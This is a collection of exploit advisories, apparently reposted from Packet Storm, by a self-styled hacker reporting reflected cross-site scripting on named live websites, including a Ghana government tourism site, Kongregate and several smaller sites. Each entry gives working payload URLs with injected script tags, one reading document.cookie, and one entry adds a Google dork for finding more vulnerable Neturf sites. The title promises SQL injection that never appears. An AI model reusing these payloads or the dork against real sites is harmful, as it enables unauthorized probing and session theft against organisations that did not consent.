Ghana50.Gov Cross Site Scripting / SQL Injecktion

#######################################################

~ Exploit Title:  Ghana50.Gov Cross Site Scripting 

~ Author: Th4 MasK 

~ Software Link: http://www.ghana50.gov.gh/

~ Date : 27.06.2012 

~ Platform : Php 

# Tested On : Windows 
 
########################################################

~ Demo Site :

~ http://www.ghana50.gov.gh/tourism/index.php?op=getAshantisiteInfo&id=<script>alert(document.cookie)</script>

########################################################

~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in

########################################################
Special Thanks : Mugair  
######################################################## 

http://packetstormsecurity.org/files/114356/Ghana50.gov.gh-Cross-Site-Scripting.html 

Kongregate.com Cross Site Scripting

#######################################################

~ Exploit Title:  Kongregate.com Cross Site Scripting

~ Author: Th4 MasK

~ Software Link: http://www.kongregate.com

~ Date : 27.06.2012

~ Platform : Php

# Tested On : Windows

########################################################

~ Demo Site :

~ http://www.kongregate.com/games/armorgames/<script>alert('Th4 MasK')<%2Fscript>

########################################################

~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in

########################################################
Special Thanks : Mugair 
########################################################

http://packetstormsecurity.org/files/114357/Kongregate.com-Cross-Site-Scripting.html

Iberianestates.com Cross Site Scripting

########################################################

~ Exploit Title: * iberianestates.com Cross Site Scripting *~

~ Author: Th4 MasK

~ Contact to ; th4_mask[at]windowslive.com ~

~ # Software Link: http://www.iberianestates.com

~ Date : 03.03.2012 ~

~ Platform : Php ~

########################################################

~ Demos Site :

~ http://www.iberianestates.com/details.php?id=xss
########################################################

~* Virüslerden Önce Akil Var.
########################################################

~* Ne Kadar Efendi Olursan Ol Hayat O Kadar Züppe.
########################################################

~* Bilinmezlik DiyarinDan
########################################################

~* Olmassa Olmazimdir. Bazi seyler.
########################################################

~* Email:th4_mask[at]windowslive.com~

~ Greetz: http://th4mask.blogspot.com ~ DarkDevilZ.iN

########################################################

~ Darkness Devil,DeaDSLayeR,MuHuR,Evillord

########################################################

http://packetstormsecurity.org/files/110424/Iberianestates.com-Cross-Site-Scripting.html

09so.com Cross Site Scripting [Bug Res]

########################################################

~ Exploit Title: * 09so Cross Site Scripting *~

~ Author: Th4 MasK

~ Contact to ; th4_mask[at]windowslive.com ~

~ # Software Link: http://www.09so.com

~ Date : 02.03.2012 ~

~ Platform : Php ~

########################################################

~ Demos Site :

~ http://www.09so.com/s.php?key=xss

########################################################

~* Virüslerden Önce Akil Var.
########################################################

~* Ne Kadar Efendi Olursan Ol Hayat O Kadar Züppe.
########################################################

~* Bilinmezlik DiyarinDan
########################################################

~* Olmassa Olmazimdir. Bazi seyler.
########################################################

~* Email:th4_mask[at]windowslive.com~

~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in

########################################################

~ Darkness Devil,DeaDSLayeR,Nikolay,MuHuR,Tekfurdagli,Evillord

########################################################

http://packetstormsecurity.org/files/110402/09so-Cross-Site-Scripting.html

Bug.

############################################################################
# Exploit Adı : Neturf Cross Site Scripting Vulnerabilitiy
# Google Dork : Web Application Powered by: Neturf
# Çeviri : Th4 MasK -- th4mask.blogspot.com
# Tarih : 27/12/2011
# Açıgı Bulan Kişi : H4ckCity Security Team
# Sitem : WwW.H4ckCity.Org 
# Version : All Version
# Test edilenler : GNU/Linux Ubuntu - Windows Server
############################################################################
#  Kullanım Şekli :
#
#  http://target.com/search.php?SearchFor=<script>alert(/farbodmahini/)</script>
#
# 
#  Siteler :
#
#  www.neturf.com/search.php?SearchFor=<script>alert(/farbodmahini/)</script>
#  www.darkhorseobservatory.org/search.php?SearchFor=<script>alert(/farbodmahini/)</script>
#
############################################################################
# Teşekkürler : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R-
# nitrojen90-K0242-kingcope-Mr.M4st3r , ...
############################################################################
# Aile : All H4ckCity Member - BHG Members
############################################################################